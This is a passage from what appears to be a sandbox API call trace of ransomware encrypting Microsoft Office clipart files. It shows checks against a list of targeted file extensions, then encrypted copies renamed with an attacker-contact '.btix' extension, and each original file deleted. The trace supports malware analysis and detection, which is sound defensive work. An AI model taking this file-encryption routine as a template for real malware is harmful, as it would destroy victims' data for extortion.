returned -1 [0147.894] lstrlenW (lpString=".docx") returned 5 [0147.894] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.894] lstrlenW (lpString=".pdf") returned 4 [0147.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.894] lstrlenW (lpString=".xls") returned 4 [0147.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.894] lstrlenW (lpString=".xlsx") returned 5 [0147.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.894] lstrlenW (lpString=".ppt") returned 4 [0147.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0147.894] lstrlenW (lpString=".zip") returned 4 [0147.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.894] lstrlenW (lpString=".rar") returned 4 [0147.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.894] lstrlenW (lpString=".bz2") returned 4 [0147.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.894] lstrlenW (lpString=".7z") returned 3 [0147.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0147.895] lstrlenW (lpString=".dbf") returned 4 [0147.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0147.895] lstrlenW (lpString=".1cd") returned 4 [0147.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0147.895] lstrlenW (lpString=".jpg") returned 4 [0147.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.895] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.895] lstrlenW (lpString="HH00681_.WMF") returned 12 [0147.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.895] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=9300) returned 1 [0147.895] CloseHandle (hObject=0x37c) returned 1 [0147.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220 [0147.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.895] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.896] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.896] GetLastError () returned 0x0 [0147.896] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2454, lpOverlapped=0x0) returned 1 [0147.897] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2460, lpOverlapped=0x0) returned 1 [0148.081] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.081] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.081] SetEndOfFile (hFile=0x380) returned 1 [0148.082] CloseHandle (hObject=0x380) returned 1 [0148.082] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.082] SetEndOfFile (hFile=0x37c) returned 1 [0148.082] CloseHandle (hObject=0x37c) returned 1 [0148.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0148.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0148.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0148.083] lstrlenW (lpString=".doc") returned 4 [0148.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.083] lstrlenW (lpString=".docx") returned 5 [0148.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.083] lstrlenW (lpString=".pdf") returned 4 [0148.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.083] lstrlenW (lpString=".xls") returned 4 [0148.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.083] lstrlenW (lpString=".xlsx") returned 5 [0148.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.083] lstrlenW (lpString=".ppt") returned 4 [0148.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0148.096] lstrlenW (lpString=".zip") returned 4 [0148.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.096] lstrlenW (lpString=".rar") returned 4 [0148.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.096] lstrlenW (lpString=".bz2") returned 4 [0148.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.096] lstrlenW (lpString=".7z") returned 3 [0148.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0148.097] lstrlenW (lpString=".dbf") returned 4 [0148.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0148.097] lstrlenW (lpString=".1cd") returned 4 [0148.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0148.097] lstrlenW (lpString=".jpg") returned 4 [0148.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0148.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0148.097] lstrlenW (lpString=".doc") returned 4 [0148.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.097] lstrlenW (lpString=".docx") returned 5 [0148.097] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.097] lstrlenW (lpString=".pdf") returned 4 [0148.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.097] lstrlenW (lpString=".xls") returned 4 [0148.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.097] lstrlenW (lpString=".xlsx") returned 5 [0148.097] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.097] lstrlenW (lpString=".ppt") returned 4 [0148.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0148.097] lstrlenW (lpString=".zip") returned 4 [0148.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.097] lstrlenW (lpString=".rar") returned 4 [0148.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.097] lstrlenW (lpString=".bz2") returned 4 [0148.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.097] lstrlenW (lpString=".7z") returned 3 [0148.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0148.097] lstrlenW (lpString=".dbf") returned 4 [0148.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0148.098] lstrlenW (lpString=".1cd") returned 4 [0148.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0148.098] lstrlenW (lpString=".jpg") returned 4 [0148.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.098] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.098] lstrlenW (lpString="HH01875_.WMF") returned 12 [0148.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.098] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=2616) returned 1 [0148.098] CloseHandle (hObject=0x37c) returned 1 [0148.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220 [0148.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.098] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.099] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.100] GetLastError () returned 0x0 [0148.100] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xa38, lpOverlapped=0x0) returned 1 [0148.100] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xa40, lpOverlapped=0x0) returned 1 [0148.101] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.101] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.101] SetEndOfFile (hFile=0x380) returned 1 [0148.102] CloseHandle (hObject=0x380) returned 1 [0148.102] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.102] SetEndOfFile (hFile=0x37c) returned 1 [0148.102] CloseHandle (hObject=0x37c) returned 1 [0148.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0148.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0148.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0148.103] lstrlenW (lpString=".doc") returned 4 [0148.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.103] lstrlenW (lpString=".docx") returned 5 [0148.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.103] lstrlenW (lpString=".pdf") returned 4 [0148.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.103] lstrlenW (lpString=".xls") returned 4 [0148.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.103] lstrlenW (lpString=".xlsx") returned 5 [0148.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.103] lstrlenW (lpString=".ppt") returned 4 [0148.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0148.103] lstrlenW (lpString=".zip") returned 4 [0148.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.104] lstrlenW (lpString=".rar") returned 4 [0148.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.104] lstrlenW (lpString=".bz2") returned 4 [0148.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.104] lstrlenW (lpString=".7z") returned 3 [0148.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0148.104] lstrlenW (lpString=".dbf") returned 4 [0148.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0148.104] lstrlenW (lpString=".1cd") returned 4 [0148.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0148.104] lstrlenW (lpString=".jpg") returned 4 [0148.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0148.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0148.104] lstrlenW (lpString=".doc") returned 4 [0148.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.104] lstrlenW (lpString=".docx") returned 5 [0148.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.104] lstrlenW (lpString=".pdf") returned 4 [0148.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.104] lstrlenW (lpString=".xls") returned 4 [0148.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.104] lstrlenW (lpString=".xlsx") returned 5 [0148.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.105] lstrlenW (lpString=".ppt") returned 4 [0148.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0148.105] lstrlenW (lpString=".zip") returned 4 [0148.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.105] lstrlenW (lpString=".rar") returned 4 [0148.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.105] lstrlenW (lpString=".bz2") returned 4 [0148.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.105] lstrlenW (lpString=".7z") returned 3 [0148.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0148.105] lstrlenW (lpString=".dbf") returned 4 [0148.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0148.105] lstrlenW (lpString=".1cd") returned 4 [0148.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0148.105] lstrlenW (lpString=".jpg") returned 4 [0148.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.105] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.105] lstrlenW (lpString="HH01923_.WMF") returned 12 [0148.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.105] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=26706) returned 1 [0148.106] CloseHandle (hObject=0x37c) returned 1 [0148.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220 [0148.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.106] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.106] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.106] GetLastError () returned 0x0 [0148.106] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x6852, lpOverlapped=0x0) returned 1 [0148.108] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x6860, lpOverlapped=0x0) returned 1 [0148.109] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.109] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.109] SetEndOfFile (hFile=0x380) returned 1 [0148.109] CloseHandle (hObject=0x380) returned 1 [0148.109] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.109] SetEndOfFile (hFile=0x37c) returned 1 [0148.110] CloseHandle (hObject=0x37c) returned 1 [0148.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0148.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0148.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0148.110] lstrlenW (lpString=".doc") returned 4 [0148.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.111] lstrlenW (lpString=".docx") returned 5 [0148.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.111] lstrlenW (lpString=".pdf") returned 4 [0148.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.111] lstrlenW (lpString=".xls") returned 4 [0148.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.111] lstrlenW (lpString=".xlsx") returned 5 [0148.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.111] lstrlenW (lpString=".ppt") returned 4 [0148.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0148.111] lstrlenW (lpString=".zip") returned 4 [0148.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.111] lstrlenW (lpString=".rar") returned 4 [0148.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.111] lstrlenW (lpString=".bz2") returned 4 [0148.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.111] lstrlenW (lpString=".7z") returned 3 [0148.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0148.111] lstrlenW (lpString=".dbf") returned 4 [0148.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0148.111] lstrlenW (lpString=".1cd") returned 4 [0148.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0148.111] lstrlenW (lpString=".jpg") returned 4 [0148.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0148.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0148.111] lstrlenW (lpString=".doc") returned 4 [0148.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.112] lstrlenW (lpString=".docx") returned 5 [0148.112] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.112] lstrlenW (lpString=".pdf") returned 4 [0148.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.112] lstrlenW (lpString=".xls") returned 4 [0148.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.112] lstrlenW (lpString=".xlsx") returned 5 [0148.112] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.112] lstrlenW (lpString=".ppt") returned 4 